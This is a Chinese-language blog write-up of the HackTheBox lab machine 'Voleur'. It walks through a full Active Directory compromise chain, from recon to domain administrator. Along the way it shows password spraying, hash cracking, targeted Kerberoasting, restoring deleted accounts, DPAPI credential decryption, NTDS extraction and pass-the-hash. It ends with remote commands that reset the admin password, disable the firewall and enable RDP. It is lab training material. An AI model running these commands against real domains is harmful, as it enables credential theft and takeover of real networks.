HTB靶机 Voleur 渗透测试记录

misaka19008 发布于 2025-07-10 100 次阅读 3488 字



目标信息

IP地址:10.129.20.186(非固定IP地址)

题目凭据:ryan.naylor / HollowOct31Nyt


信息收集

ICMP检测

PING 10.129.20.186 (10.129.20.186) 56(84) bytes of data.
64 bytes from 10.129.20.186: icmp_seq=1 ttl=127 time=317 ms
64 bytes from 10.129.20.186: icmp_seq=2 ttl=127 time=1567 ms
64 bytes from 10.129.20.186: icmp_seq=3 ttl=127 time=538 ms
64 bytes from 10.129.20.186: icmp_seq=4 ttl=127 time=358 ms

--- 10.129.20.186 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3031ms
rtt min/avg/max/mdev = 316.726/694.951/1567.160/510.389 ms, pipe 2

攻击机和靶机间网络连接正常。

防火墙检测

# Nmap 7.95 scan initiated Sun Jul  6 06:27:58 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.35s latency).
All 65535 scanned ports on 10.129.20.186 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun Jul  6 06:28:45 2025 -- 1 IP address (1 host up) scanned in 47.03 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun Jul  6 06:34:02 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.37s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-06 06:35:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
60401/tcp open  msrpc         Microsoft Windows RPC
60409/tcp open  msrpc         Microsoft Windows RPC
60429/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s
| smb2-time: 
|   date: 2025-07-06T06:36:35
|_  start_date: N/A

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   388.68 ms 10.10.14.1
2   388.85 ms 10.129.20.186

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  6 06:37:19 2025 -- 1 IP address (1 host up) scanned in 197.54 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun Jul  6 06:40:10 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.33s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

# Nmap done at Sun Jul  6 06:41:19 2025 -- 1 IP address (1 host up) scanned in 68.88 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Windows Server,主域名为voleur.htb,域控主机名为dc,禁止了NTLM登录。靶机还运行一个Ubuntu Linux容器,并在2222端口开放了Linux SSH服务。


服务探测

Linux SSH服务(2222端口)

尝试使用ssh连接容器的root用户,发现需要使用密钥登录:

Kerberos服务(88端口)

尝试使用crackmapexec,通过题目给出的凭据登录SMB服务,但发现NTLM登录被禁止:

直接使用impacket-getTGT工具申请票据,随后使用Kerberos登录SMB

ntpdate -s dc.voleur.htb
impacket-getTGT voleur.htb/ryan.naylor:"HollowOct31Nyt" -dc-ip 10.129.20.186
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/ryan.naylor.ccache
crackmapexec smb dc.voleur.htb -d voleur.htb -u ryan.naylor -k --use-kcache

发现使用Kerberos票据可正常登录。

首先使用impacket-lookupsid工具爆破域内用户RID

impacket-lookupsid -domain-sid -no-pass -k voleur.htb/ryan.naylor@dc.voleur.htb 40000

经过整理,得到如下域内用户列表:

Administrator
Guest
krbtgt
DC$
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
svc_winrm

除此之外,未发现其它信息。

Windows SMB服务

使用impacket-smbclient登录靶机SMB服务:

impacket-smbclient voleur.htb/ryan.naylor@dc.voleur.htb -k -no-pass

登录成功!发现SMB服务内有3个用户共享:FinanceHRIT。经测试,发现只有IT共享可以正常访问:

发现该共享内有目录First Line Support,目录内有Excel表格文件Access_Review.xlsx,下载后打开,发现为加密电子表格:

除此之外,未发现任何信息。

域内关系收集

尝试使用bloodhound-python工具进行域内信息收集:

bloodhound-python -c All -d voleur.htb -u ryan.naylor -k -no-pass -ns 10.129.73.209 -dc dc.voleur.htb --zip

收集完毕后,将数据集上传至BloodHound,首先查看最短攻击路径:

发现如下情况:

  • 容器Third-Line Support Technicians内的用户jeremy.combs可登录WinRM
  • Service Accounts容器包含svc_winrm用户,该用户可登录WinRM
  • svc_ldap用户对svc_winrm用户具有WriteSPN权限。

但当前用户ryan.naylor并不处于攻击路径上。


渗透测试

破解加密Excel电子表格获得密码

SMB服务探测过程中,我们发现了一份加密的Excel表格文件:Access_Review.xlsx,现在尝试对其进行哈希提权和密码破解。

首先使用office2john工具提取哈希值,去除字符串开头文件名后,保存到Access_Review-xlsx-hash.txt中:

office2john ./Access_Review.xlsx | awk -F':' '{print $2}' > Access_Review-xlsx-hash.txt

随后使用hashcat配合rockyou.txt字典进行爆破:

.\hashcat.exe -m 9600 -a 0 Z:\voleur\Access_Review-xlsx-hash.txt .\rockyou.txt --force

成功获得文件访问口令:

  • 文件名:Access_Review.xlsx
  • 口令:football1

打开文件查看:

发现该表格为员工信息表,同时包含三个密码:NightT1meP1dg3on14M1XyC9pW7qT5VnN5pXyW1VqM7CZ8

直接将密码添加至pass.lst中,随后使用如下脚本程序进行密码喷洒:

#!/bin/bash
for i in $(cat aduser.lst); do
  for j in $(cat pass.lst)
    do
      cred_combo="Trying $i - $j ...... "
      cmd_output=$(impacket-getTGT voleur.htb/$i:"$j" -dc-ip 10.129.73.209)
      if [[ $cmd_output =~ "Saving ticket" ]]; then
        echo -e "\e[1;32m [+] $cred_combo Success! \e[0m"
      else
        echo -e "\e[1;31m [-] \e[0m $cred_combo Failed!"
      fi
    done
done

成功发现如下用户凭据:

  • 域:voleur.htb,用户名:ryan.naylor,密码:HollowOct31Nyt;
  • 域:voleur.htb,用户名:svc_ldap,密码:M1XyC9pW7qT5Vn
  • 域:voleur.htb,用户名:svc_iis,密码:N5pXyW1VqM7CZ8

阅读员工信息备注,发现用户svc_backup的凭据可能需要从jeremy.combs用户处获得,而jeremy.combs用户疑似对某个名为Software的目录具有访问权限。

域内危险关系利用

在域内信息收集阶段,我们已经发现svc_ldap用户对svc_winrm用户具有WriteSPN权限,而svc_winrm用户刚好可以登录WinRM,所以现在直接使用targetedKerberoast工具进行利用:ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilities

export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/svc_ldap.ccache
/home/megumin/Documents/Programs/targetedKerberoast/targetedKerberoast.py -v -d voleur.htb -u svc_ldap -k --no-pass --dc-ip 10.129.73.209 --dc-host dc.voleur.htb

svc_winrm的哈希保存到文本文件内,随后使用hashcat破解:

.\hashcat.exe -m 13100 -a 0 Z:\voleur\userhash\svc_winrm.txt .\rockyou.txt --force

成功获得用户凭据:

  • 域:voleur.htb
  • 用户名:svc_winrm
  • 密码:AFireInsidedeOzarctica980219afi

配置/etc/krb5.conf文件:

[libdefaults]
        default_realm = VOLEUR.HTB
        dns_lookup_realm = false
        dns_lookup_kdc = true
        ticket_lifetime = 24h
        forwardable = true

[realms]
        VOLEUR.HTB = {
                kdc = DC.VOLEUR.HTB
                admin_server = DC.VOLEUR.HTB
                default_domain = DC.VOLEUR.HTB
        }

[domain_realm]
        .voleur.htb = VOLEUR.HTB
        voleur.htb = VOLEUR.HTB

随后使用kinitimpacket-getTGT获取票据,直接登录WinRM

kinit svc_winrm@VOLEUR.HTB
impacket-getTGT voleur.htb/svc_winrm:"AFireInsidedeOzarctica980219afi" -dc-ip 10.129.31.94
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/svc_winrm.ccache
evil-winrm -i dc.voleur.htb --realm VOLEUR.HTB

登录成功!!


权限提升

目录信息收集

登录系统后,进行目录信息收集,在C盘根目录下找到了SMB服务中的共享目录,其中FinanceHR目录为空目录,C:\IT目录下实际存在3个子目录:

尝试列出3个目录下的文件,但都提示拒绝访问:

结合域中存在的3个关于IT管理员的用户组名称,推测SMB服务IT共享内的三个文件夹实际上对应上述3个用户组,只有处于正确用户组中的用户才能访问对应的共享。例如,ryan.naylor用户处于First-Line Technicians组中,所以该用户才能访问First-Line Support文件夹:

除此之外,未发现其它敏感信息。

恢复todd.wolfe用户

在之前发现的Excel用户表格中,存在着一个已经被删除的用户todd.wolfe的记录。该用户属于Second-Line Support Technician组,可能有权限访问IT共享内Second Line Support文件夹。

再次查看BloodHound数据,发现svc_ldap用户刚好属于一个名为Restore_Users的用户组:

怀疑svc_ldap用户有权限操作Active Directory回收站,并对已删除的用户进行恢复。

尝试安装最新版本的bloodyAD

pipx install bloodyAD

随后使用新版bloodyAD的恢复用户功能,通过svc_ldap用户身份将todd.wolfe用户从回收站取回:

/root/.local/bin/bloodyAD -d voleur.htb -u svc_ldap -k --host dc.voleur.htb set restore todd.wolfe

恢复成功!使用如下用户凭据获取TGT票据:

  • 域:voleur.htb
  • 用户名:todd.wolfe
  • 密码:NightT1meP1dg3on14
impacket-getTGT voleur.htb/todd.wolfe:"NightT1meP1dg3on14" -dc-ip 10.10.11.76

成功!

解密DPAPI密钥存储库

成功获取todd.wolfe用户票据后,登录SMB服务,对IT共享下的Second Line Support目录进行枚举:

impacket-smbclient voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass

发现IT共享下/Second-Line Support/Archived Users/todd.wolfe/目录为备份的todd.wolfe用户家目录。

尝试在家目录下进行枚举,在./AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/目录下发现了todd.wolfe用户的DPAPI主密钥文件08949382-134f-4c63-b93c-ce52efc0aa88

同时,还在./AppData/Local/Microsoft/Credentials/./AppData/Roaming/Microsoft/Credentials目录下发现了两个DPAPI凭据存储库文件:

直接下载MasterKey和两个DPAPI凭据库:

get ./AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
get ./AppData/Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D
get ./AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3

随后,尝试使用impacket-dpapi工具,通过todd.wolfe身份连接域控,获取存储在LDAP数据库内的备份密钥,并解密主密钥文件:

impacket-dpapi masterkey -file ./dpapi/08949382-134f-4c63-b93c-ce52efc0aa88 -t voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass

成功解密DPAPI主密钥:0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

获取主密钥后,尝试利用其解密凭据存储库文件:

impacket-dpapi credential -file ./dpapi/772275FAD58525253490A9B0039791D3 -key "0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"

成功发现如下用户凭据:

  • 域:voleur.htb
  • 用户名:jeremy.combs
  • 密码:qT3V9pLXyN7W4m

尝试获取TGT票据:

impacket-getTGT voleur.htb/jeremy.combs:"qT3V9pLXyN7W4m" -dc-ip 10.10.11.76

成功!

登录WSL容器获取NTDS数据库备份

获取jeremy.combs用户票据后,登录SMB服务IT共享,查看第三个目录:

export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/jeremy.combs.ccache
impacket-smbclient voleur.htb/jeremy.combs@dc.voleur.htb -k -no-pass

发现了一份SSH私钥,和一个TXT文件,首先使用cat命令查看Note.txt.txt,内容如下:

Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin

文中说管理员已经受够了Windows备份工具,因此,他配置了一个WSL容器,并尝试利用一些Linux备份工具来代替Windows工具。这说明靶机2222端口的Linux SSH属于WSL容器,而且是专门用于操作备份的。

首先将SSH私钥下载到本地:

get id_rsa
chmod 400 id_rsa

随后尝试使用jeremyjeremy.combsadmin等词作为用户进行登录,但全部失败了。

尝试使用域内用户名登录,最后发现svc_backup用户是该SSH私钥的所有者,可以正常登录SSH

ssh svc_backup@voleur.htb -p 2222 -i id_rsa

登录成功后,进行目录信息收集,在/mnt/c/目录下发现,WSL容器直接挂载了整个宿主机的C盘:

ls -lA /mnt
ls -lA /mnt/c

推测此WSL容器以svc_backup域用户身份运行。尝试再次查看Third-Line Support共享目录,发现里面还存在一个Backups文件夹:

直接查看/mnt/c/IT/"Third-Line Support"/Backups/目录下文件:

ls -lAR ./Backups

发现NTDS数据库ntds.ditSYSTEM注册表转储文件!直接使用scp将其传输到本地:

scp -P 2222 svc_backup@voleur.htb:/mnt/c/IT/"Third-Line Support"/Backups/"Active Directory"/ntds.dit ./ntds.dit -i id_rsa
scp -P 2222 svc_backup@voleur.htb:/mnt/c/IT/"Third-Line Support"/Backups/registry/SYSTEM ./SYSTEM.hive -i id_rsa

下载完毕后,使用impacket-secretsdump工具获取保存在NTDS数据库内的域用户凭据信息:

impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM.hive LOCAL

成功获取域管理员用户凭据:

  • 域:voleur.htb
  • 用户名:Administrator
  • NTLM哈希:e656e07c56d831611b577b160b259ad2

直接获取管理员TGT票据:

impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76

随后使用票据登录SMB管理共享,更改管理员密码并开启远程桌面:

export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/Administrator.ccache
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "net user Administrator Asd310056 /domain"
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"

最后,使用rdesktop工具登录RDP

rdesktop dc.voleur.htb -p 3389 -g 1440x960 -a 24

提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2025-10-03